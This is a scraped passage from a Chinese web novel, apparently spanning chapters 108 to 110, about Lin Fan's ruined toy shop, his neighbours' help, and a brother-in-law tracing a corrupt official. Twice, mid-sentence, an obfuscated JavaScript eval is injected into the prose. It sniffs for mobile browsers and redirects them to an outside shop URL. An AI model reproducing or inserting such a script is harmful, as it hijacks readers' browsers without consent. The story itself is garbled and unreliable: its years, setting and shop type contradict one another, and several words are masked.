林凡蹲下身,手指轻轻碰了碰兔子的耳朵,柔软的触感瞬间把他拉回1993年的夏天—— 那天他带着笑笑去市里的百货大楼,笑笑站在玩具柜前,眼睛盯着这只兔子挪不开步,小手攥着他的衣角,小声说“爸爸,它的耳朵好软”。 他当时刚从工厂下岗,手里没多少钱,可看着女儿的眼神,还是咬牙花了八块买了下来。 笑笑抱着兔子,笑得眼睛都眯成了缝,说“爸爸,这是我的好朋友,我要叫它小白”。 现在小白脏了,耳朵塌了,像个被遗弃的孩子, 林凡用袖子轻轻擦着上面的泥,可黑印子越擦越明显,他的手控制不住地发抖。 “旧的不去,新的不来。” 苏瑾瑜的声音从身后传来,他踩着碎玻璃走进来,黑色的皮鞋底碾过一片塑料碎片,发出轻微的“咔嚓”声。 他手里拿着个牛皮纸文件夹,走到林凡身边,把文件夹打开: “我上礼拜去你们市里考察,在向阳商业街看中个铺面,临街,45平米,是这里的两倍还多。” 他指着图纸上的线条, “你看,这里划出来做玩具区,能摆四个货架,比现在多一倍; 这边是绘本区,我让人预留了书架的位置,能放两千本绘本; 最里面是游乐区,铺地毯,放滑梯和积木,家长带孩子来,能多待半个钟头—— 你知道这意味着什么吗?” 林凡抬头看他,苏瑾瑜继续说: “1994年秋天,市里刚给向阳商业街通了10路公交,我托交通局的朋友查了数据, 那路公交日均客流量3200人,光是在商业街站下车的,每天就有1500人。 你们县城最热闹的十字街,一天下来也就300来人,整整五倍的差距。 而且商业街旁边有三个小区,都是去年刚建成的,入住率已经到了七成, 光这三个小区的孩子,就比你们县城所有的孩子还多。” 他顿了顿,指尖在图纸上敲了敲, “装修队我都联系好了,是市里做过三家玩具店的队伍,下礼拜就能进场, 手续我让助理帮你跑,你只需要点头。” 林凡接过图纸,指尖碰到冰凉的纸张, 图纸上的线条画得很细,游乐区的位置还标了“滑梯尺寸:1.2米”的小字。 他知道苏瑾瑜是好意,向阳商业街他去过,去年带笑笑去市里看病时路过, 那里的店铺亮着霓虹灯,橱窗里摆着最新的玩具,是县城比不了的。 可他的目光又飘回墙角的小书架—— 那是王猛帮他打的,用的是旧木料,书架上原本放着笑笑的童话书, 《安徒生童话》《格林童话》,还有几本带插画的儿歌集。 现在那些书散在地上,封面被踩得脏污不堪,有本《小熊温尼》的扉页上, 还留着笑笑用蜡笔写的“笑笑的书”,现在那几个字被黑泥糊住,看不清了。 “凡子!” 门口传来王猛的声音,他穿着军绿色的棉袄, 棉袄领口沾着雪,手里提着个布包,布包上还印着“劳动最光荣”的红字—— 那是他妈妈年轻时的包,现在他用来装工具。 王猛走进来,看见地上的狼藉,眼睛立刻红了,他快步走到林凡身边, 抓住林凡的胳膊: “你终于出院了!都怪我,那天黑皮的人来**,我没拦住他们,还让你被他们抓了……” 他的声音发颤,棉袄口袋里掉出个东西,是个小木兔子—— 那是李师傅帮笑笑雕的,上次笑笑生日,李师傅花了三天时间,用桃木雕了个小兔子,还刷了红漆。 现在那个小木兔子的耳朵断了一只,王猛赶紧捡起来,小心翼翼地揣回口袋。 “不关你的事。” 林凡站起身,拍了拍王猛的肩膀,把手里的毛绒兔子递给王猛, “你帮我先拿着,我问问张婶,她帮忙找的清洁工来了吗?” 王猛擦了擦眼泪,点头说:“来了来了,在外面呢! 张婶说,咱们先把这里清理干净,再商量怎么开店。 她说她认识县城的装修队,是她远房侄子开的,能便宜点,材料也能帮咱们找批发价。” 他指了指门口,“你看,张婶来了,还有李师傅、刘大姐。” 林凡顺着他的手指看过去,张婶手里拿着把竹扫帚,扫帚杆上缠着胶布—— 那是上次笑笑调皮,把扫帚杆掰裂了,林凡帮她缠的,现在胶布边缘都起了**。 张婶今年五十八岁,退休前是街道办的干部,去年林凡刚开店时, 手续不全,是张婶帮他跑的居委会,还帮他申请了个体工商户的优惠政策。 她走进来,先看了看林凡的脸,又扫了眼地上的狼藉,叹了口气: “凡子,别难受,咱们先把这里收拾干净,店没了可以再开,人没事就好。” 李师傅跟在后面,手里提着他的修鞋工具箱, 箱子是黑色的,上面印着“国营红光鞋厂”的字样—— 那是他年轻时在鞋厂当学徒时发的,现在跟着他快二十年了。 李师傅不善言辞,只是走到林凡身边,拍了拍他的后背,然后蹲下去,开始捡地上的碎玻璃。 他的手指粗糙,布满了老茧,捡玻璃时很小心,生怕再弄出声音。 卖菜的刘大姐挤在最后,手里攥着块白抹布, 抹布角还滴着水,显然是刚从菜摊那边跑过来,围裙兜里还露出半截捆菜用的草绳。 她走到林凡身边,从兜里掏出个苹果,塞到林凡手里: “凡子,吃个苹果,暖暖身子。 你放心,咱们街坊都在,肯定能帮你把店重新开起来。” 林凡看着他们—— 张婶在扫地上的塑料碎片,李师傅在捡玻璃,刘大姐在擦墙上的黑泥,王猛在整理倒在地上的货架。 阳光透过破碎的窗户照进来,落在他们身上,暖洋洋的。 他突然想起去年冬天,笑笑发烧,他抱着笑笑去医院,路上雪下得大,是王猛推着自行车,把他们送到医院门口; 还有一次,店里的货架坏了,是李师傅带着工具来修,修到半夜,还没收他一分钱; 张婶经常给笑笑带饺子,刘大姐每次来送菜,都会多给一把青菜。 这些画面像电影一样在脑子里过, 他突然明白,自己不是孤身一人,在县城的这一年,他已经有了自己的“家人”。 “好。”林凡深吸一口气,从墙角拿起一把扫帚,“咱们先清理干净。” 苏瑾瑜看着林凡的背影,嘴角露出一丝笑意。 他悄悄退到门口,从公文包侧袋里掏出那部黑色的摩托罗拉8900—— 这东西在1995年的县城里,比小汽车还稀罕。 去年年底,县里供销社的主任想买一部,托了三个人才从广州调到货, 花了一万二,够普通工人攒两年的工资。 苏瑾瑜指尖在按键上顿了顿,按了一串熟记于心的号码,将机身贴在耳边。 寒风裹着雪粒子吹过来,他把衣领往上提了提,遮住半张脸。 “喂,是我。” 苏瑾瑜的声音压低了些, “黑皮背后的人查到了吗?” 电话那头传来低沉的声音,苏瑾瑜的脸色渐渐沉下来,眉头皱紧: “市里的赵副局长?确定吗?” 他顿了顿,又问: “他和钱老西是什么关系?” 电话那头的人说了几句,苏瑾瑜点点头: “表哥?好,我知道了。 你继续查,别打草惊蛇,把他这两年的行踪都摸清楚,尤其是和钱老西的往来。” 挂了电话,苏瑾瑜把大哥大放回公文包,抬头看向远处的天空。 雪又开始下了,细小的雪花落在桑塔纳的车顶上,很快积了一层。 他想起上周去市里时,听到的消息—— 钱老西的表哥在市里做小商品批发,1994年的时候, 他的批发部占了市里三成的玩具货源,不少县城的玩具店都得从他那里进货。 去年林凡开店时,原本想从钱老西表哥那里拿货, 可他表哥要价太高,还要求压三个月的货款,林凡没同意,后来找了另一家批发商。 从那以后,钱老西就开始找林凡的麻烦,先是他表哥断了他的货源,后来又让黑皮来**。 苏瑾瑜知道, 赵副局长是钱老西的表哥的大舅, 1994年分管市里的政法工作,手里有不少权力。 这次黑皮砸店、抓林凡,肯定是赵副局长在背后撑腰。 可事情恐怕不止“抢渠道”这么简单—— 钱老西表哥的批发部这两年扩张得很快,背后离不开赵副局长的支持, 而赵副局长能爬到这个位置,又和燕京的某些人有关联。 苏瑾瑜摸了摸口袋里的大哥大,心里清楚,这次的事,可能会牵扯出更大的麻烦。 林凡没听到苏瑾瑜的电话,他正和王猛一起收拾碎玻璃。 王猛捡玻璃时,不小心被划了道口子,血珠渗出来,他赶紧用嘴吸了吸,说: “没事,小口子。” 林凡从口袋里掏出创可贴—— 这是苏瑾瑜给他的,从燕京带来的,比县城里卖的厚些。 他帮王猛贴上,说: “小心点,别再划到了。” 王猛点点头,继续捡玻璃,突然说: “凡子,你真的不考虑去市里吗?苏哥说的那个铺面,听起来挺好的。” 林凡愣了一下,手里的动作停了下来。他想起苏瑾瑜的话: “苏家是你的后盾,不是拐杖。” 去市里,有苏瑾瑜的帮忙,铺面、装修、货源都不用愁,生意肯定能做大; 可留在县城,要重新找铺面,找货源,还要面对钱老西和赵副局长的麻烦。 他看着手里的扫帚,扫帚杆上还沾着塑料碎片,突然想起笑笑以前总拿着小扫帚, 帮他打扫店里的卫生,说“爸爸,我是你的小帮手”。 他的心又软了下来—— 这里有他和笑笑的回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766216|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忆,有街坊们的照顾,他舍不得离开。 可**的是,无论选择哪条路,一场更大的风暴正在等着他。 赵副局长已经知道了苏瑾瑜的到来, 昨天他召集了几个手下,在办公室里开会,拍着桌子说: “苏瑾瑜算个什么东西?敢来我的地盘管闲事!” 他让手下查苏瑾瑜在市里的公司,看看有没有违规的地方, 还说要找个借口,把林凡的笑笑宝贝屋彻底封了。 而远在燕京的笑笑姥爷苏振邦,也给苏瑾瑜打了电话,语气很严肃: “把林凡带回来,燕京才是他该待的地方。一个小县城的服装店,有什么好留恋的?” 林凡蹲在地上,捡起一片完整的玻璃,对着阳光看。 玻璃里映出他的脸,脸上有擦伤,颧骨那里还有块淤青,是上次被黑皮打的。 可他的眼神比以前更坚定了—— 这场突如其来的灾难,像一场淬火,把他身上的迷茫和软弱都烧了去。 以前他总觉得,自己只是个下岗工人,能把玩具店开起来就不错了; 可现在他知道,自己还有街坊们的支持,还有苏瑾瑜的帮助,他能做得更好。 他把玻璃放在一边,准备继续清理,手指却突然碰到了个硬东西。 他低头一看,是枚银色的徽章,掉在碎玻璃堆里, 上面印着“**”两个字,还有个五角星的图案。 林凡皱了皱眉,他从来没见过这枚徽章,也不知道是谁掉在这里的。 他把徽章捡起来,放在手心,徽章冰凉的触感让他心里一沉—— 这枚徽章,和赵副局长有没有关系? 雪下得更大了,雪花落在破碎的窗户上,很快就积了一层。 苏瑾瑜靠在桑塔纳的车身上,看着店里的林凡和街坊们忙碌的身影, 口袋里的大哥大突然响了起来,刺耳的铃声在雪地里格外清晰。 他掏出大哥大,看了一眼来电显示,眉头皱得更紧了—— 是爸爸苏振邦打来的。 苏瑾瑜没立刻接,而是抬头看向店里的林凡。 林凡正拿着那枚**徽章,和王猛说着什么,王猛的表情很惊讶,不停地摇头。 苏瑾瑜心里清楚,那枚徽章肯定是赵副局长的人掉的,是故意留下的,还是不小心? 他不敢确定,但他知道,麻烦已经开始找上门了。 店里,林凡把徽章递给张婶,张婶看了看,脸色变了: “这是**的徽章,怎么会掉在这里?” 李师傅凑过来,看了一眼,说: “我见过赵副局长的手下戴过这种徽章,上次他们来县城查岗,我在十字街见过。” 刘大姐的脸色也白了: “凡子,这不会是赵副局长的人故意留下的吧?他们是想警告你?” 林凡握紧了徽章,指尖因为用力而发白。 他想起苏瑾瑜刚才在门口打电话的样子,想起苏瑾瑜说的赵副局长,心里突然明白了—— 这次的事,比他想象的还要复杂。 他看着街坊们担忧的眼神,又看了看窗外的雪,深吸一口气: “不管是谁掉的,咱们先把店清理干净。 只要咱们在一起,就没什么好怕的。” 街坊们点点头,继续忙碌起来。 张婶扫着地,嘴里念叨着: “咱们不怕他们,有什么事,街坊们一起扛。” 李师傅捡着玻璃,手里的动作更快了。 王猛整理着货架,说: “凡子,要是赵副局长的人再来**,我就跟他们拼了!” 刘大姐擦着墙,说: “我明天就去市里,帮你找货源,我有个远房亲戚在市里做玩具批发,肯定能帮上忙。” 林凡看着他们,心里暖暖的。 他知道,无论未来有多少麻烦,他都不是孤身一人。 他走到窗边,看着外面的雪,苏瑾瑜还靠在车身上,手里拿着大哥大,没接电话。 林凡想起苏瑾瑜的话: “苏家是你的后盾,不是拐杖。” 他突然明白,自己的选择,不仅关乎笑笑宝贝屋的未来, 更关乎苏家和赵副局长的较量,关乎1994年那场即将到来的、席卷商界和政界的风暴。 雪还没停,桑塔纳的车顶上已经积了厚厚的一层雪。 苏瑾瑜终于按下了接听键,把大哥大贴在耳边,父亲苏振邦的声音从电话那头传来,很严厉: “瑾瑜,你到底什么时候把林凡带回来?燕京的公司已经准备好了,就等他回来接手!” 苏瑾瑜看了一眼店里的林凡,轻声说:“爸爸,林凡有自己的选择,我们不能逼他。” 电话那头的声音更严厉了: “选择? 他的选择就是在县城开个小服装店,被人欺负吗? 我告诉你,燕京才是他的归宿,你必须把他带回来!” 苏瑾瑜还想说什么,电话那头已经挂了。 他把大哥大放回口袋,抬头看向远处的天空,雪还在下,看不到尽头。 他知道,这场雪不会轻易停,这场围绕着林凡、围绕着笑笑宝贝屋、 围绕着苏家和赵副局长的较量,才刚刚开始。 林凡站在窗边,看着苏瑾瑜的背影,手里握着那枚冰凉的**徽章。 **,苏瑾瑜和姥爷的通话内容,也不知道赵副局长已经在琢磨着怎么报复他, 更不知道岳父已经在燕京为他安排好了未来。 他只知道,自己要重新开起笑笑宝贝屋, 要带着笑笑的回忆,带着街坊们的支持,好好活下去。 可**的是,那枚**徽章的背后,藏着一个更大的秘密; 苏瑾瑜口袋里的大哥大,还会接到更多来自燕京的电话; 而赵副局长,已经在市里布好了局,等着他和苏瑾瑜跳进去。 雪还在下,覆盖了县城的街道,覆盖了桑塔纳的车顶,也覆盖了笑笑宝贝屋门前的碎玻璃。 这场1995年的雪,到底什么时候才能停? 林凡的选择,会把他和街坊们带向何方? 苏瑾瑜和赵副局长的较量,又会引发怎样的风暴?这一切,都还没有答案。 第109章:废墟中的觉醒 1995年元月的寒风,裹挟着华北平原特有的干冷,像一把浸过冰水的钝刀,在这座名为“清河县”的小县城上空盘旋。 风势格外猛烈,掠过低矮的灰砖房时,卷起墙角堆积的枯叶与尘土,发出“呜呜”的声响,仿佛在为这座小城即将遭遇的不幸呜咽。 结着薄冰的护城河上,寒风刮过,冰层发出细微的碎裂声,倒映着灰蒙蒙的天空,更添几分萧瑟。 行人裹紧厚重的棉衣,缩着脖子匆匆前行,冻得通红的脸颊上,睫毛都凝结了一层薄薄的白霜,每一次呼吸都带着白色的雾气,迅速消散在冷空气中。 县城最热闹的“永安街”街角,往日里总是人声鼎沸。 每到放学时分,孩子们的欢笑声、商贩的叫卖声、自行车的铃铛声交织在一起,充满了烟火气。 可如今,那家曾用彩色气球和旋转木马音乐吸引半条街孩童的“笑笑宝贝屋”,却沦为一片令人心碎的废墟。 曾经透亮的落地橱窗,在阳光照耀下曾像水晶般璀璨,如今只剩扭曲的铝合金框架,如同被折断的翅膀。 碎玻璃撒在结冰的路面上,在昏黄路灯光下反射出冷冽的光,如同被挖去的眼窝,空洞地凝视着萧索的街道。 路过的行人纷纷驻足,脸上满是惋惜,小声议论着前些天发生的**,有人摇头叹息,有人愤怒指责,却又带着一丝无力。 被砸成麻花状的金属货架歪倒在一旁,上面原本整齐摆放着各式各样的玩具,如今却空空如也。 散落一地的塑料积木与毛绒熊的残肢,有的积木被踩得粉碎,有的毛绒熊的眼睛掉落,露出里面白色的填充棉。 混着尘土的彩色填充棉在空中轻轻飘荡,像是在诉说着昨晚的**。 那台曾精准显示电子信号的进口示波器,是林凡的心头宝,此刻屏幕裂成蛛网,机身凹陷得像张痛苦的脸,按键散落一地。 整个场景仿佛一场被暴力撕碎的色彩斑驳的噩梦,让人不忍直视。 空气中不仅弥漫着金属的冷腥与尘土的老朽,更飘着一丝若有若无的劣质烟草味,那是社会闲散人员常抽的廉价烟,味道刺鼻,成了暴力过后挥之不去的余味,久久无法消散。 林凡站在废墟中央,北风掀起他洗得发白的棉袄衣角,衣角处还有几处缝补的痕迹,那是妻子熬夜为他修补的。 三十五岁的他,脸上刻着生活的沧桑,眼角有了细微的皱纹。 这一次,他第一次感到生命的重量如此具体—— 具体到能触摸到女儿笑笑以前还抱在怀里的兔子玩偶的绒毛,那绒毛柔软温暖,还残留着女儿身上淡淡的奶香味; 又如此脆弱—— 脆弱到一夜之间,他用三年积蓄、无数个深夜打磨的“童话王国”就成了断壁残垣。 他清晰地记得,为了这家店,他省吃俭用,每天清晨五点就起床,骑着自行车去几十公里外的批发市场进货,只为能拿到更便宜的货源。 晚上,等女儿睡着后,他又在灯下钻研电子玩具的设计,常常熬夜到凌晨。 那些日子虽然辛苦,但一想到女儿在店里开心玩耍的模样,他就充满了动力。 可现在,一切都毁了。 他那双惯于在电路板与精密器械间寻找秩序的手,此刻无力地垂在身侧。 这双手布满了老茧,指缝间还残留着焊接时留下的黑色痕迹,那是他无数个日夜辛勤工作的见证。 指节因之前紧握拳头而泛白,虎口处还留着一道细小的划伤,那是昨晚试图阻拦流氓时被碎玻璃划到的,伤口还在隐隐作痛,渗出的血珠已经凝固成暗红色。 他的目光落在那台示波器上,心脏像被一只冰冷的手攥紧,疼得他几乎喘不过气。 这台示波器是他省吃俭用半年,连早饭的油条都舍不得买,每天清晨只啃两个馒头充饥,才从省会电子市场淘来的宝贝。 他还记得当时在电子市场,看到这台示波器时,眼睛都亮了,毫不犹豫地拿出攒了很久的钱买了下来。 只为能调试自己设计的电子玩具—— 那些会发光的星星挂件、能发出动物叫声的拼图,是他想给女儿,也给更多孩子的“科技小惊喜”。 可现在,仪器毁了,玩具碎了,连墙上贴着的笑笑画的太阳贴纸,都被撕得只剩一个残缺的角。 那张太阳贴纸,是笑笑在幼儿园美术课上画的,回家后兴奋地拿给林凡看,还说要贴在店里,让每个来店里的小朋友都能感受到温暖。 这里从来都不只是一家店铺,这是他在拮据生活里为女儿搭建的微型童话王国,是他用焊接技术和对生活的热爱,一砖一瓦垒起的乌托邦。 而如今,童话被钢管砸得粉碎,乌托邦在几个小时内沦为人间地狱。 黑皮、蟑螂那帮以“收保护费”为生的社会流氓虽然在案发后十二小时落网,但林凡蹲在废墟上,用冻得僵硬的手指拨弄着一块玩具碎片时,心里比谁都清楚:事情远未结束。 这伙人在清河县盘踞了五年,如同毒瘤般危害着当地的商户和居民。 他们仗着有人“罩着”,行事嚣张跋扈,不仅向沿街商铺强收保护费,金额从每月几百到几千不等,若是商户拒绝缴纳,他们就会上门骚扰,砸坏店铺的门窗和商品。 除此之外,他们还垄断了县城的水果批发市场,不允许外地的水果商贩进入市场,一旦发现,就会对商贩进行威胁和殴打,甚至抢夺水果。 去年夏天,一位姓刘的菜农因为拒绝交“管理费”,就被他们打得住进了医院,住院费花了好几千,最后也只能不了了之。 据林凡的搭档王猛私下透露,通过内部卷宗查到,这伙人近两年涉及的敲诈勒索、寻衅滋事等恶性的事件不下二十起。 有一次,他们敲诈一家服装店老板,老板不愿意给钱,他们就连续一个星期在店门口**,吓得老板不敢开门营业,最后不得不交了钱才得以安宁。 还有一次,他们在夜市上寻衅滋事,殴打了一位无辜的路人,导致路人重伤。 但每次都能“大事化小,小事化了”—— 要么是受害者怕报复不敢作证,担心自己和家人的安全受到威胁; 要么是关键证据“莫名丢失”,让案件无法顺利推进。 王猛还偷偷给他看了一组数据: 1994年清河县登记在册的治安案件共217起,其中与“市场管理”“地盘争夺”相关的**就有76起,占比高达35%。 这些**中,很多都是黑恶势力为了争夺利益而引发的,但最终被定性为**、真正判刑的,不足十分之一。 大多数案件要么因为证据不足,要么因为受害者撤诉,最后只能不了了之。 而这一次,若非林凡的小舅子得知消息后震怒,一个电话打给了大哥、二哥,然后直接拨到了省**厅督查处; 要求“彻查黑恶势力背后保护伞”,仅凭清河县**局的力量,黑皮等人能否如此迅速地被抓捕,甚至会不会被“保释”,都是一个巨大的问号。 这冰冷的现实,像一根淬了毒的刺,深深扎进林凡的心底—— 在这个靠“人情关系”和“潜规则”编织的熟人社会里,潜藏着另一套更原始、更残酷的生存法则: 谁的后台硬,谁就能践踏规则;当普通百姓的利益触及某些人的深层利益时,法律的光芒也可能被暂时遮蔽。 “姐夫。” 一个沉稳有力的声音在身后响起,打破了废墟上令人窒息的沉默。 林凡缓缓回头,看到了从燕京(北京)专程为了他的事赶来的小舅子苏瑾瑜。 这些天全是他的安排,脸上还带疲惫,眼睛里布满了血丝,但精神状态却很饱满。 三十二岁的他,作为燕京知名企业“苏家集团”的年轻掌门人,身上没有丝毫纨绔子弟的浮夸—— 没有戴显眼的金表,也没有穿花哨的皮夹克,而是一件质感极佳的深灰色羊绒大衣,领口衬着柔软的米色围巾,那围巾是国外知名品牌,质地柔软舒适。 他身形挺拔得像棵松树,站在废墟中,与周围破败的环境形成了鲜明的对比。 他没有说“别难过”“会好的”这类空洞的安慰话,只是静静地站在林凡身边,目光像最精密的扫描仪,从扭曲的货架扫到破碎的仪器,再落到林凡冻得发紫的指尖。 他不仅在评估物质上的损失,计算着店铺的装修费用、货物损失和仪器价值,更在无声地观察林凡此刻的精神状态—— 是被打垮后的消沉,还是藏着不甘的倔强。 他知道,此刻再多的安慰也无济于事,只有实际的帮助才能让林凡重新振作起来。 “现场我让集团的安保团队看过了,没有遗漏的线索; 县里**局、市里政法委的关系,我也让助理提前打了招呼,确保后续调查不会‘打折扣’。” 苏瑾瑜的声音不高,却带着一种历经商场锤炼出的不容置疑的力量。 他蹲下身,捡起一块印着“笑笑宝贝屋”字样的招牌碎片,指尖轻轻摩挲着边缘的毛刺,那毛刺扎得手指有些疼,就像此刻林凡的心情一样。 “姐夫,你得清楚,这不是简单的治安案件,不是黑皮这帮小流氓一时兴起的敲诈。 我来的路上,让市场部的人查了清河县最近的商业动态—— 黑皮这伙人,最近三个月一直在给市里一家新冒头的‘鼎盛商贸公司’跑腿,帮他们‘清理’县城里的竞争对手。 而这家鼎盛商贸,背后牵扯着省里某个退下来的老领导的儿子,他们真正看中的,是你这间小店无意中撬动的儿童益智玩具市场。” 苏瑾瑜从随身的公文包里掏出一份折叠的市场调研报告,那公文包是意大利手工制作的,价值不菲。 他展开报告,指给林凡看: “你看,去年仅华北地区的儿童益智玩具市场,潜在规模就超过了五千万,而且每年还在以15%的速度增长。 随着人们生活水平的提高,家长越来越重视孩子的教育和智力开发,对儿童益智玩具的需求也在不断增加。 鼎盛商贸想垄断这一块的货源和销售渠道,他们通过压低进货价格、提高销售价格,获取高额利润。 而你的店—— 因为你自己设计的那几款带电子元件的益智玩具,比如会教拼音的积木、能发光的星座拼图,在清河县、邻县甚至德州、石家庄的家长圈子里都有了口碑。 这些玩具不仅设计新颖,还能帮助孩子学习知识,深受家长和孩子的喜爱。 上个月的销售额比鼎盛旗下的玩具店还高20%,这等于直接挡了他们的财路,所以他们才会指使黑皮这帮人来砸你的店。” 这番话像一道劈开浓雾的闪电,瞬间照亮了林凡心中的困惑。 他之前一直以为,这场灾难只是自己运气不好,撞上了黑皮这帮地头蛇的例行敲诈,却没想到背后竟牵扯到如此复杂的商业阴谋和权力勾连。 他听王猛说,上个月,确实有两个陌生男人来店里“考察”,他们穿着西装,打着领带,看起来文质彬彬, 问他的玩具货源在哪里、有没有兴趣“加盟”某个品 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768134|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牌,还开出了看似优厚的条件。 当时王猛他以为是普通的经销商,觉得他们的品牌理念与自己不符,就婉言拒绝了。 现在想来,那根本就是鼎盛商贸派来的“探路者”,如果王猛当时答应了,或许就不会有今天的下场,但他也清楚,自己绝不会为了利益而放弃自己的初心。 自己这间不足五十平米的“笑笑宝贝屋”,因为他对电子技术的热爱和一点小小的创新,竟成了别人眼中必须拔除的“钉子”。 寒风再次卷过废墟,将一块印着女儿笑笑亲手绘制的歪歪扭扭的太阳logo的招牌纸片吹到林凡脚边。 那太阳画得很稚嫩,圆圈歪歪扭扭,光芒是用五颜六色的蜡笔涂的,有的地方颜色涂出了边界,有的地方颜色还不均匀。 但这却是笑笑去年生日时,踮着脚尖贴在招牌上的,当时她还奶声奶气地说: “爸爸,有太阳,小朋友就会来我们家玩啦!” 那天,笑笑穿着漂亮的公主裙,脸上带着甜甜的笑容,兴奋地拉着林凡的手,让他看自己的作品。 林凡俯下身,动作极其缓慢地捡起那块纸片,生怕稍微用力就会把它揉碎。 他用冻得发僵的手指,小心翼翼地拂去上面的尘土和碎玻璃渣,那动作轻柔得像是在触摸一个易碎的梦。 眼眶却在不知不觉中红了,泪水在眼眶里打转,他强忍着不让泪水掉下来—— 他不仅是在捡一块招牌碎片,更是在捡回被暴力打碎的父爱与希望。 苏瑾瑜看着他的动作,眼神里多了几分理解和心疼。 他知道,这家店对林凡来说不仅仅是一个谋生的场所,更是对女儿的爱和对生活的希望。 他继续说道:“燕京西单附近有个刚装修好的商场,负一楼有个三十平米的铺面,位置在电梯口,人流量大,每天的客流量能达到上万人次,格局也适合做玩具店。 我已经让助理去谈租赁细节了,租金方面我们可以争取到更优惠的价格,而且商场还会提供一定的装修补贴。 而且燕京对小微企业有扶持政策,像你这种做创新玩具的,还能申请税收减免,减免幅度能达到30%左右,还能获得一定的创业补贴。 这些政策我都可以让公司的法务和财务帮你疏通对接,确保你能顺利享受到这些优惠。 但是姐夫,”他话锋一转,直起身,目光灼灼地盯着林凡,语气也变得严肃起来, “最终的决定要你自己做。 是留在这里,用接下来的三年、五年,甚至更久,和黑皮这帮地头蛇、鼎盛商贸背后的势力纠缠不休, 一次次去**局做笔录、去**打官司,耗尽你和姐姐的时间、精力和心血,最后可能还得不到一个满意的结果? 还是换一个更大的舞台,去燕京那种更规范、更注重创新的市场,把你在技术上的这些奇思妙想, 变成真正能站稳脚跟、甚至能制定行业小规则的力量,让更多的孩子能穿到你的服装和用到你设计的玩具?” 林凡没有立刻回答。 他将那块招牌碎片郑重地揣进怀里,紧紧贴在胸口,那里能感受到纸片的薄脆与冰冷,仿佛揣着一块冰封了过去天真与安宁的冰; 但同时,胸口也在发热,那是被不甘与野心点燃的火焰—— 他不想让女儿的“太阳”就此熄灭,更不想让自己的创新被暴力碾碎。 他想起女儿每次看到新设计的玩具时兴奋的模样,想起自己对电子玩具设计的热爱和追求,他知道自己不能就此放弃。 他抬起头,望向北方—— 那是燕京的方向,夜色中仿佛能看到遥远城市的灯火,那些灯火闪烁着希望的光芒。 他的眼神变了,之前的迷茫与悲愤渐渐褪去,取而代之的是一种近乎冷酷的清明,那是被现实打醒后,重新燃起的斗志。 “我们走吧。” 林凡的声音很轻,却像一颗钉子,稳稳地楔入了1995年元月这个寒冷的夜晚,带着坚定的决心。 他的指尖还残留着尘土的颗粒感,语气却异常坚定, “这里的一切,总有一天,我会连本带利,拿回来。” 他知道,离开清河只是暂时的,他一定会回来,讨回属于自己的公道,让那些黑恶势力和背后的保护伞受到应有的惩罚。 苏瑾瑜看着他,轻轻点了点头,没有再多说什么—— 他知道,姐夫已经做出了选择,这个选择充满了挑战,但也充满了希望。 但两人都心知肚明,前方那个流光溢彩、机遇遍地的京城,从来都不是一片温柔乡。 那里的商业竞争比清河县更激烈,每天都有无数的企业开张和倒闭,权力关系也更复杂,是一个权力更集中、规则更隐晦、厮杀更无形的巨大角斗场。 苏家集团虽然在华北有一定的影响力,但到了燕京,面对那些盘踞多年的老牌企业和更深的权力网络,苏家的树荫再大,也无法遮蔽所有的风雨。 林凡这个带着伤痛与誓言的外来者,没有背景,没有雄厚的资本,仅凭一双手和一点技术创新,真的能在群狼环伺的燕京市场中,杀出一条属于他自己的血路吗? 寒风掠过废墟,卷起地上的尘土和碎片,仿佛在无声地追问。 而夜色中的两人,已经转身,朝着停车场走去。 他们的身影在路灯下被拉得很长,一步步远离这片破碎的过去,走向前方未知却必须踏足的未来。 他们不知道前方会遇到什么困难和挑战,但他们都知道,只要坚持下去,就一定能看到希望的曙光。 第110章:战略评估与人情暗涌 1995年元月,南方小城的寒风裹挟着湿冷的水汽,像无数把锋利的刀子狠狠刮在脸上,街边光秃秃的梧桐树枝桠在风中剧烈摇晃,发出呜咽般的声响。 狂风卷起地上的碎纸屑、枯树叶和尘土,在街巷里打着旋儿,而后狠狠拍打在“笑笑宝贝屋”那扇布满裂纹的玻璃门上,发出“哐当哐当”的刺耳声响,仿佛在无情地嘲笑着眼前的破败。 往日里,“笑笑宝贝屋”可是小城里最热闹的地方之一。 推开那扇玻璃门,首先映入眼帘的是五颜六色的气球挂在天花板上,随风轻轻摆动;货架上整齐地摆放着各式各样的儿童玩具,从会唱歌的毛绒玩偶到能组装的塑料积木,应有尽有; 还有柔软舒适的儿童衣物,印着可爱的卡通图案,让人忍不住驻足挑选。 更让人难忘的是,店里总是飘着孩子们最爱的糖果香味,那是林凡特意为小顾客们准备的,只要进店,每个孩子都能得到一颗甜甜的糖果。 可如今,这一切都化为乌有,只剩下烧焦的木头味弥漫在空气中,呛得人忍不住咳嗽,断裂的货架东倒西歪地散落在地上,上面的商品早已不见踪影,只剩下一些烧焦的残骸。 林凡站在门口,双眼通红,拳头攥得发白,指节因用力而泛出青色,指甲几乎要嵌进肉里,可他却丝毫感觉不到疼痛,心中的愤怒和悲痛如同潮水般汹涌而来。 但林凡深知,现在不是沉溺于情绪的时候。 在1995年,手机尚未普及,整个小城能拥有手机的人寥寥无几,信息传递主要依靠当面交谈或者固定电话, 而且固定电话也并非家家户户都有,很多时候还得跑到公用电话亭去打电话。 